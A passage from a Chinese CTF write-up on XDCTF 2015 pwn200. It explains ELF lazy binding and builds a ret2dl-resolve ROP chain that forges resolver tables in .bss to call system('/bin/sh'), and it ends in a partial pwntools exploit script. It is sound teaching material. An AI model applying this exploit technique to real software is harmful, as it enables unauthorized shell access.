XDCTF - pwn200
0x01 理解动态符号解析
使用readelf -S查看所有section.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
~/ctf/test (zsh) [.venv13]
[woc@nixos]> checksec ./bof
[*] '/home/woc/ctf/test/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
~/ctf/test (zsh)
[woc@nixos]> readelf -S ./bof
There are 30 section headers, starting at offset 0x17c4:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 0804826c 00026c 00006b 00 A 0 0 1
[ 7] .gnu.version VERSYM 080482d8 0002d8 000014 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482ec 0002ec 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804830c 00030c 000018 08 A 5 0 4
[10] .rel.plt REL 08048324 000324 000028 08 AI 5 23 4
[11] .init PROGBITS 0804834c 00034c 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048370 000370 000060 04 AX 0 0 16
[13] .plt.got PROGBITS 080483d0 0003d0 000008 08 AX 0 0 8
[14] .text PROGBITS 080483e0 0003e0 000252 00 AX 0 0 16
[15] .fini PROGBITS 08048634 000634 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048648 000648 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 08048650 000650 00003c 00 A 0 0 4
[18] .eh_frame PROGBITS 0804868c 00068c 000114 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f04 000f04 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f08 000f08 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049f0c 000f0c 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ff4 000ff4 00000c 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4
[24] .data PROGBITS 0804a020 001020 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a028 001028 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 001028 00001d 01 MS 0 0 1
[27] .symtab SYMTAB 00000000 001048 000450 10 28 44 4
[28] .strtab STRTAB 00000000 001498 000225 00 0 0 1
[29] .shstrtab STRTAB 00000000 0016bd 000105 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), p (processor specific)
我们需要关注的是其中的.dynamic. 用readelf -d查看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
~/ctf/test (zsh) [.venv13]
[woc@nixos]> readelf -d ./bof
Dynamic section at offset 0xf0c contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x804834c
0x0000000d (FINI) 0x8048634
0x00000019 (INIT_ARRAY) 0x8049f04
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f08
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804826c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 107 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048324
0x00000011 (REL) 0x804830c
0x00000012 (RELSZ) 24 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482ec
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482d8
0x00000000 (NULL) 0x0
Dynamic Section:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 NEEDED libc.so.6 — this binary depends on glibc. STRTAB 0x804826c — address of the dynamic string table .dynstr. SYMTAB 0x80481cc — address of the dynamic symbol table .dynsym. SYMENT 16 — each Elf32_Sym entry is 16 bytes. GNU_HASH 0x80481ac — GNU symbol hash table, used to quickly find dynamic symbols. PLTGOT 0x804a000 — address of the GOT/PLT area. JMPREL 0x8048324 — relocation table specifically for PLT imports. PLTRELSZ 40 — PLT relocation table is 40 bytes. PLTREL REL — those PLT relocations use Elf32_Rel, rather than Elf32_Rela. REL 0x804830c — non-PLT dynamic relocation table. RELSZ 24 — it contains 24 bytes total. RELENT 8 — each Elf32_Rel entry is 8 bytes. INIT / FINI / INIT_ARRAY / FINI_ARRAY — code/functions executed during startup and shutdown. VERNEED / VERSYM — symbol-versioning information, e.g. requirements such as GLIBC_2.0. DEBUG — a special runtime field that the dynamic linker may fill in for debuggers. NULL — terminates the dynamic table.
和ret2dl-resolve相关的三个重要项目为:JMPREL, SYMTAB, STRTAB.
JMPREL
使用readelf -r查看重定位表.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~/ctf/test (zsh) [.venv13]
[woc@nixos]> readelf -r ./bof
Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x324 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
.rel.dyn负责变量重定位,.rel.plt负责函数重定位(我们要关注的JMPREL).
在i386上,每一个JMPREL entry都是8字节大小的Elf32_Sym结构:
1
2
3
4
5
6
7
8
9
// i386
typedef struct {
Elf32_Addr r_offset; // 4byte
Elf32_Word r_info; // 4byte
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info) >> 8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym,type) (((sym) << 8) + (unsigned char)(type))
这里的offset代表了需要重定位的符号所在位置,也就是我们的got表项. 让我们结合汇编信息查看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
08048370 <.plt>:
8048370: ff 35 04 a0 04 08 push 0x804a004
8048376: ff 25 08 a0 04 08 jmp *0x804a008
804837c: 00 00 add %al,(%eax)
...
08048380 <setbuf@plt>:
8048380: ff 25 0c a0 04 08 jmp *0x804a00c
8048386: 68 00 00 00 00 push $0x0
804838b: e9 e0 ff ff ff jmp 8048370 <.plt>
08048390 <read@plt>:
8048390: ff 25 10 a0 04 08 jmp *0x804a010
8048396: 68 08 00 00 00 push $0x8
804839b: e9 d0 ff ff ff jmp 8048370 <.plt>
080483a0 <strlen@plt>:
80483a0: ff 25 14 a0 04 08 jmp *0x804a014
80483a6: 68 10 00 00 00 push $0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <.plt>
以read@plt为例. 因为使用了lazy bind, 所以read对应的got表项(0x804a010)会在第一次执行的时候才加载。
在这个过程中,执行read@plt的结果是jmp *0x804a010指令,这里存储的值是jmp的下一条指令地址0x8048396, 跳转到.plt部分. 后续执行jmp *0x804a008 (ELF lazy-binding resolver trampline, 比如_dl_runtime_resolve). 并且在执行之前,按顺序压入了0x8, 0x804a004这两个值,对应实际的函数参数是逆序关系。
1
2
3
_dl_runtime_resolve(link_map, reloc_offset)
// arg1: 0x804a004, 对应一个全局结构link_map
// arg2: 0x8,对应reloc_offset.
现在我们和.rel.plt结合起来看. 因为Elf32_Rel每个表项大小为8字节,而read位于第二个,和这里的reloc_offset = 0x8刚好对上.
因为_dl_runtime_resolve负责全局多个函数的加载,所以它完全是根据参数离的reloc_offset来判断加载哪个符号的. 如果后续我们伪造一些fake table, 就能欺骗加载器(对应的segment通常不具有写的权限,所以一般无法修改现有的表项,只能伪造),把一个函数的地址装载成system函数的地址(尽管程序中可能没有system@plt),这种利用方法不需要泄漏libc基地址即可完成.
回到JMPREL上,read对应的offset=0x804a010,也就是read的got表项所在地址. info=0x00000207,低位字节0x7代表TYPE, 高位0x2代表SYM, 用于在SYMTAB寻找符号的信息.
SYMTAB
当解析器拿到对应的JMPREL表项后,能够解析出read的SYM=2, 接着会根据这个索引在SYMTAB中寻找read的符号信息.
使用readelf -s可以查看symbol table信息,如果使用readelf -sD只显示其中的.dynsym.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
~/ctf/test (zsh) [.venv13]
[woc@nixos]> readelf -s ./bof
Symbol table '.dynsym' contains 10 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND __[...]@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
7: 00000000 0 OBJECT GLOBAL DEFAULT UND stdin@GLIBC_2.0 (2)
8: 00000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.0 (2)
9: 0804864c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
Symbol table '.symtab' contains 69 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 08048154 0 SECTION LOCAL DEFAULT 1 .interp
2: 08048168 0 SECTION LOCAL DEFAULT 2 .note.ABI-tag
3: 08048188 0 SECTION LOCAL DEFAULT 3 .note.gnu.build-id
4: 080481ac 0 SECTION LOCAL DEFAULT 4 .gnu.hash
5: 080481cc 0 SECTION LOCAL DEFAULT 5 .dynsym
6: 0804826c 0 SECTION LOCAL DEFAULT 6 .dynstr
......
52: 0804a020 0 NOTYPE GLOBAL DEFAULT 24 __data_start
53: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
54: 0804a024 0 OBJECT GLOBAL HIDDEN 24 __dso_handle
55: 0804864c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
56: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@@GLIBC_2.0
57: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_mai[...]
58: 00000000 0 FUNC GLOBAL DEFAULT UND write@@GLIBC_2.0
59: 080485d0 93 FUNC GLOBAL DEFAULT 14 __libc_csu_init
60: 00000000 0 OBJECT GLOBAL DEFAULT UND stdin@@GLIBC_2.0
61: 0804a02c 0 NOTYPE GLOBAL DEFAULT 25 _end
62: 080483e0 0 FUNC GLOBAL DEFAULT 14 _start
63: 08048648 4 OBJECT GLOBAL DEFAULT 16 _fp_hw
64: 00000000 0 OBJECT GLOBAL DEFAULT UND stdout@@GLIBC_2.0
65: 0804a028 0 NOTYPE GLOBAL DEFAULT 25 __bss_start
66: 0804851c 167 FUNC GLOBAL DEFAULT 14 main
67: 0804a028 0 OBJECT GLOBAL HIDDEN 24 __TMC_END__
68: 0804834c 0 FUNC GLOBAL DEFAULT 11 _init
注意:SYMTAB是一个dynamic tag, 指向的值是.dynsym这个section,记录runtime dynamic linking信息,这才是我们需要关注的信息.
而.symtab是full static/linker symbol table, 在stripped的时候还会删除掉.
在.rel.plt里,动态解析器知道read对应的SYM=2, 接着就会继续取出:
1
2
Num: Value Size Type Bind Vis Ndx Name
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
i386下, 每一项都是Elf32_Sym类型的结构(16byte)
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
Elf32_Word st_name ; // Symbol name (string tbl index)
Elf32_Addr st_value ; // Symbol value
Elf32_Word st_size ; // Symbol size
unsigned char st_info ; // Symbol type and binding
unsigned char st_other ; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx ; // Section index, 2byte
} Elf32_Sym ;
#define ELF32_ST_BIND(i) ((i) >> 4)
#define ELF32_ST_TYPE(i) ((i) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~/ctf/test (zsh) [.venv13]
[woc@nixos]> readelf -S ./bof
There are 30 section headers, starting at offset 0x17c4:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
......
[ 5] .dynsym DYNSYM 080481cc 0001cc 0000a0 10 A 6 1 4
......
~/ctf/test (zsh) [.venv13]
[woc@nixos]> gdb ./bof
......
(gdb) x/16wx 0x080481cc
0x80481cc: 0x00000000 0x00000000 0x00000000 0x00000000
0x80481dc: 0x00000033 0x00000000 0x00000000 0x00000012
0x80481ec: 0x00000027 0x00000000 0x00000000 0x00000012
0x80481fc: 0x0000005c 0x00000000 0x00000000 0x00000020
# 0: 00000000 0 NOTYPE LOCAL DEFAULT UND
# 1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
# 2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
# 3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
read对应的st_name = 0x27. 这个值用于在STRTAB中找最终的字符串.
STRTAB
STRTAB对应的section是.dynstr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
~/ctf/test (zsh) [.venv13]
[woc@nixos]> readelf -S ./bof
There are 30 section headers, starting at offset 0x17c4:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[ 6] .dynstr STRTAB 0804826c 00026c 00006b 00 A 0 0 1
...
(gdb) x/8s 0x804826c
0x804826c: ""
0x804826d: "libc.so.6"
0x8048277: "_IO_stdin_used"
0x8048286: "stdin"
0x804828c: "strlen"
0x8048293: "read"
0x8048298: "stdout"
0x804829f: "setbuf"
0x804826c + 0x27 == 0x8048293, 对应read符号的name.
0x02 题目分析
程序分析
程序很简单,可以通过溢出控制vuln的返回值;因为是32位程序,不用找pop gadget即可布置ROP链.
有一种直观的思路是使用write泄漏got表的信息,然后推断出远程是什么版本的libc,最后使用ret2libc执行system.
这里为了练习,使用ret2dl-resolve方法解决.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
int *p_argc; // [esp+70h] [ebp-Ch]
p_argc = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&buf[24], 0, 0x4Cu);
setbuf(stdout, buf);
v3 = strlen(buf);
write(1, buf, v3);
vuln();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ssize_t vuln()
{
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF
setbuf(stdin, buf);
return read(0, buf, 0x100u);
}
// .text:080484D6 ; ssize_t vuln()
// .text:080484D6 public vuln
// .text:080484D6 vuln proc near ; CODE XREF: main+92↓p
// .text:080484D6
// .text:080484D6 buf = byte ptr -6Ch
// .text:080484D6 var_4 = dword ptr -4
// .text:080484D6
// .text:080484D6 ; __unwind {
// .text:080484D6 push ebp
// .text:080484D7 mov ebp, esp
// .text:080484D9 push ebx
// .text:080484DA sub esp, 74h
// .text:080484DD call __x86_get_pc_thunk_bx
// .text:080484E2 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
// .text:080484E8 mov eax, ds:(stdin_ptr - 804A000h)[ebx]
// .text:080484EE mov eax, [eax]
// .text:080484F0 sub esp, 8
// .text:080484F3 lea edx, [ebp+buf]
// .text:080484F6 push edx ; buf
// .text:080484F7 push eax ; stream
// .text:080484F8 call _setbuf
// .text:080484FD add esp, 10h
// .text:08048500 sub esp, 4
// .text:08048503 push 100h ; nbytes
// .text:08048508 lea eax, [ebp+buf]
// .text:0804850B push eax ; buf
// .text:0804850C push 0 ; fd
// .text:0804850E call _read
// .text:08048513 add esp, 10h
// .text:08048516 nop
// .text:08048517 mov ebx, [ebp+var_4]
// .text:0804851A leave
// .text:0804851B retn
// .text:0804851B ; } // starts at 80484D6
// .text:0804851B vuln endp
这里开头push ebx是在保护旧值,因为后续的__x86_get_pc_thunk_bx有下列代码:
1 2 .text:08048410 mov ebx, [esp+0] .text:08048413 retn也就是把返回地址
080484E2赋给ebx接下来的
add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)后,ebx存储的值就是_GLOBAL_OFFSET_TABLE_, 即got表.
exploit计划
我们要伪造三个表:JMPREL, SYMTAB, STRTAB, 目标是让解析器将某一个函数的地址解析成system函数的地址,然后对其调用.
首先,我们能否直接修改现成的表项?经过动态调试查看,三个部分都落在0x08048000 - 0x08049000部分,无’w’权限.
1
2
3
4
Start Addr End Addr Size Offset Perms File
0x08048000 0x08049000 0x1000 0x0 r-xp /home/woc/ctf/test/bof
0x08049000 0x0804a000 0x1000 0x0 r--p /home/woc/ctf/test/bof
0x0804a000 0x0804b000 0x1000 0x1000 rw-p /home/woc/ctf/test/bof
那么就要手动伪造了. 因为这一题没有PIE,可以尝试放在bss上.
首先是JMEREL, 从解析流程来看,可以控制其第二个参数. 由于bss在.rel.plt后面,我们可以传入一个很大的offset, 让它解析到bss上. 后面的两个表也同理.
为了方便起见,可以直接读取其表项的原始数据,只修改其中offset含义的字段.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
JMPREL = 0x8048324
SYMTAB = 0x80481cc
STRTAB = 0x804826c
BSS = 0x804a028 + 0xc # padding, 让fake SYMTAB表项和原始的SYMTAB差值为sym_entry_size的倍数
new_rel_entry_size = 0x8
new_sym_entry_size = 0x10
new_str_entry_size = len(b"system\x00\x00")
new_rel_entry_addr = BSS # fake jmprel表项的地址
new_sym_entry_addr = new_rel_entry_addr + new_rel_entry_size # fake symtab表项的地址
new_str_entry_addr = new_sym_entry_addr + new_sym_entry_size # fake strtab表项的地址
bin_sh_addr = new_str_entry_addr + new_str_entry_size
new_rel_offset = (new_rel_entry_addr - JMPREL ) # 用于push
new_sym_offset = (new_sym_entry_addr - SYMTAB ) // new_sym_entry_size # 这里需要保证gap是0x10的倍数
assert( (new_sym_entry_addr - SYMTAB) % new_sym_entry_size == 0 )
new_str_offset = (new_str_entry_addr - STRTAB)
# JMPREL, 原始数据 0x0804a010, 0x00000207
new_rel_entry = p32(0x804a010) + p32(new_sym_offset << 8 | 0x07)
# SYMTAB, 原始数据 0x00000027, 0x00000000, 0x00000000, 0x00000012
new_sym_entry = p32(new_str_offset) + p32(0) + p32(0) + p32(0x12)
# STRTAB, 原始数据 "read"
new_str_entry = b"system\x00\x00"
bss_payload = new_rel_entry + new_sym_entry + new_str_entry + b"/bin/sh\x00"
ROP问题1: 布置返回值
一开始我的ROP链中有如下片段:
1
2
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt) + p32(0) + p32(BSS) + p32(len(bss_payload)) # read(stdin, bss_buffer, len(bss_payload))
设想的是返回到read@plt后,立刻跟上3个参数.
但是在实际调试的过程中发现,程序会在后续return到addr=0的位置进而退出.
在32位下,执行到read@plt时,栈上应该是这样的情况:
1
2
3
4
esp+0x00: return address after read
esp+0x04: fd
esp+0x08: buf
esp+0x0c: count
在通过正常的call read@plt调用时,会自动压入返回值;但是通过修改返回地址来转移时,是没有这一步的,所以我们要先把下一步的返回值填充到这里,然后才是参数.
对比32位的read函数入口代码查看:
1
2
3
4
5
6
7
8
9
► 0xf0e525f0 <read> sub esp, 0x10 ESP => 0xff9f5d30 (0xff9f5d40 - 0x10)
0xf0e525f3 <read+3> push 3
0xf0e525f5 <read+5> push 0
0xf0e525f7 <read+7> push 0
0xf0e525f9 <read+9> push 0
0xf0e525fb <read+11> push dword ptr [esp + 0x2c]
0xf0e525ff <read+15> push dword ptr [esp + 0x2c]
0xf0e52603 <read+19> push dword ptr [esp + 0x2c]
0xf0e52607 <read+23> call __syscall_cancel <__syscall_cancel>
这里的__syscall_cancel是对普通system的包装函数. 在满足了上述提到的正确参数布局后,执行sub esp, 4个push后,变成
1
2
3
4
5
6
7
8
9
10
11
12
esp+0x00: 0
esp+0x04: 0
esp+0x08: 0
esp+0x0c: 3
esp+0x10:
esp+0x14:
esp+0x18:
esp+0x1c:
esp+0x20: return address after read
esp+0x24: fd
esp+0x28: buf
esp+0x2c: count
接下来执行的3个push [esp+0x2c]会把count, buf, fd按照顺序重新压到前面, 最后变成:
1
__syscall_cancel(fd, buf, count, 0, 0, 0, 3)
重新设计后,gadget片段为:
1
2
3
4
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(plt) + p32(0) + p32(BSS) + p32(len(bss_payload)) # read(stdin, bss_buffer, len(bss_payload))
payload += p32(read_plt) + p32(new_rel_offset)
ROP链视角
向左为地址减少的方向,左侧的值模拟的是“新压入栈的值”,所以返回地址应该在参数的左边;
向右为地址增加的方向,在ROP链进行的时候会向这个方向推进.
ROP问题2: 返回到新片段后的栈帧
上一步修正后,设想的画面是:
- 第一轮地址(read_plt)
- 第二轮地址(.plt) + 第一轮参数
- 第三轮地址(read_plt,被替换成system) + 第二轮参数
在第一次read_plt后,塞入.plt的地址;进入第二段后,esp跳到第二行,先是下一轮返回地址read_plt(已经被替换为system函数),然后是.plt的参数new_rel_offset.
但是在return到.plt前栈布局为:
1
2
3
4
pwndbg> x/20wx $esp
0xff9abe20: 0x08048370 (.plt) 0x00000000 0x0804a028 0x00000028
0xff9abe30: 0x08048390 0x00001d04 0x0804a048 0x00000000
0xff9abe40: 0x00000000 0x0000000a 0x00000000 0x00000000
可以看到ret到’2’开头的.plt后,后面还是我们第一步的旧参数,并不会跳到’3’.
对比汇编代码:
1
2
3
4
5
6
7
.text:08048500 sub esp, 4
.text:08048503 push 100h ; nbytes
.text:08048508 lea eax, [ebp+buf]
.text:0804850B push eax ; buf
.text:0804850C push 0 ; fd
.text:0804850E call _read
.text:08048513 add esp, 10h
在正常的代码中,执行完read_plt后有一个add esp, 0x10的指令,让esp跳过旧的参数,到下一轮的位置。但是我们目前的片段里缺乏“清理栈帧”这一步,需要补上.
使用ROPgadget可以找到不同长度的pop指令. 这里需要清理第一步read_plt的3个参数,选择0x8048629,记为pppr_ret
1
2
3
4
5
0x0804862b : pop ebp ; ret
0x08048628 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836d : pop ebx ; ret
0x0804862a : pop edi ; pop ebp ; ret
0x08048629 : pop esi ; pop edi ; pop ebp ; ret
变成:
1
2
3
4
5
6
7
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(pppr_ret) + p32(0) + p32(BSS) + p32(len(bss_payload))
payload += p32(plt)
payload += p32(pr_ret) + p32(new_rel_offset)
payload += p32(read_plt) # 设想:重新bind后,再次执行read("/bin/sh"),实际是system("/bin/sh"), 但其实根本不用这一步。因为在动态解析器找到对应符号的真实地址后,会自动调用一次.
payload += p32(bin_sh_addr)
这一步会导致ebp被设置成一个不良的值,但是经过测试发现并不影响。如果真的有问题也可以后续补上一个p32(pop_ebp_ret) + p32(bss+0x500) 把ebp迁移到可写的bss段上.
ROP问题3: 绑定后下一步的返回值
上一步我们仿照前面read_plt后的pppr_ret,在解析器plt执行后也塞入pr_ret清理栈帧,但其实这是错误的.
首先,从必要性上来看,我们无需控制跳转到.plt后的下一步返回值. 因为在正常调用read@plt后,动态解释器找到对应的符号后,会自动根据栈上的参数,调用一遍这次解析出来的函数. 执行system("/bin/sh")后我们的任务就已经完成了
其次,从正确性上看,前面的代码也有很大的问题. 调试可以发现这样会导致自己push的reloc_offset和后续的link_map中间插入了一个pr_ret:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x8048629 <__libc_csu_init+89> pop esi ESI => 0
0x804862a <__libc_csu_init+90> pop edi EDI => 0x804a028 (completed)
0x804862b <__libc_csu_init+91> pop ebp EBP => 0x28
0x804862c <__libc_csu_init+92> ret <0x8048370>
↓
0x8048370 push dword ptr [_GLOBAL_OFFSET_TABLE_+4]
► 0x8048376 jmp dword ptr [_GLOBAL_OFFSET_TABLE_+8] <0xe96121e0>
↓
0xe96121e0 push eax
0xe96121e1 push ecx
0xe96121e2 push edx
0xe96121e3 mov edx, dword ptr [esp + 0x10] EDX, [0xffe071b4] => 0x804836d (_init+33) —▸ 0xff00c35b ◂— 0
0xe96121e7 mov eax, dword ptr [esp + 0xc] EAX, [0xffe071b0] => 0xe9637a70 (nix_ld::STACK+2676) ◂— 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffe071b0 —▸ 0xe9637a70 (nix_ld::STACK+2676) ◂— 0
01:0004│ 0xffe071b4 —▸ 0x804836d (_init+33) —▸ 0xff00c35b ◂— 0
02:0008│ 0xffe071b8 ◂— 0x1d04
反思:前面构造read_plt的时候,我们做的是接手了call的工作,所以需要提前准备下一步的ret.
但是这一步,我们接手的位置并不一样:我们接手了参数构造,而且跳转到.plt是内层jmp的结果,并不是普通的call.
这么说比较抽象,还是需要结合正常调用过程中的stack draft来看:
1
2
3
4
5
6
7
8
9
10
11
12
13
# call func@plt(arg) 后的期望栈帧
p32(next_ret_addr) + p32(arg)
# 让解析器进行符号绑定,压入reloc_offset
# push reloc_offset
# jmp 8048370 <.plt>
p32(reloc_offset) + p32(next_ret_addr) + p32(arg)
# <.plt>:
# push 0x804a004
# jmp *0x804a008
p32(link_map) + p32(reloc_offset) + p32(next_ret_addr) + p32(arg)
我们需要从link_map后面的位置开始接手,所以应该这样构造:
1
2
3
4
5
6
payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(pppr_ret) + p32(0) + p32(BSS) + p32(len(bss_payload)) # read(stdin, bss_buffer, len(bss_payload))
# payload += p32(pop_ebp_ret) + p32(BSS + 0x200)
payload += p32(plt) + p32(new_rel_offset) + p32(0) + p32(bin_sh_addr)
最后一个p32(0)代表执行system后的返回地址,这里用来占位,值可以任意填.
完整脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
import sys
# record arg before importing pwntools(which will comsume the DEBUG arg)
RAW_ARGS = tuple(sys.argv[1:])
from pwn import *
import os
import shutil
elf = ELF("./bof", checksec=False)
HOST = "some.website"
PORT = 1337
SSL = False
context.binary = elf
context.gdb_binary = "/home/woc/.nix-profile/bin/pwndbg"
if os.environ.get("TMUX"):
context.terminal = ["tmux", "splitw", "-h"]
elif os.environ.get("DISPLAY"):
for terminal in ("ghostty", "alacritty", "kitty", "konsole"):
if shutil.which(terminal):
context.terminal = [terminal, "-e"]
break
gdbscript = r"""
set pagination off
# set debuginfod enabled off
b *0x804851B
c
"""
def start():
def has_flag(name):
return name in RAW_ARGS or any(arg.startswith(name + "=") for arg in RAW_ARGS)
remote_enabled = has_flag("REMOTE") or bool(args.REMOTE)
debug_enabled = (
has_flag("DEBUG")
or has_flag("GDB")
or bool(args.DEBUG)
or bool(args.GDB)
)
if remote_enabled:
return remote(HOST, PORT, ssl=SSL)
if debug_enabled:
p = process(elf.path)
log.info("Attaching gdb using terminal: %r", context.terminal)
gdb.attach(p, gdbscript=gdbscript)
return p
return process(elf.path)
p = start()
# ===== exploit here =====
JMPREL = 0x8048324
SYMTAB = 0x80481cc
STRTAB = 0x804826c
plt = 0x8048370
read_plt = 0x8048390
pppr_ret = 0x8048629
ppppr_ret = 0x8048628
pop_ebp_ret = 0x804862b
BSS = 0x804a028 + 0xc
new_rel_entry_size = 0x8
new_sym_entry_size = 0x10
new_str_entry_size = len(b"system\x00\x00")
new_rel_entry_addr = BSS # fake jmprel表项的地址
new_sym_entry_addr = new_rel_entry_addr + new_rel_entry_size # fake symtab表项的地址
new_str_entry_addr = new_sym_entry_addr + new_sym_entry_size # fake strtab表项的地址
bin_sh_addr = new_str_entry_addr + new_str_entry_size
new_rel_offset = (new_rel_entry_addr - JMPREL ) # 用于push
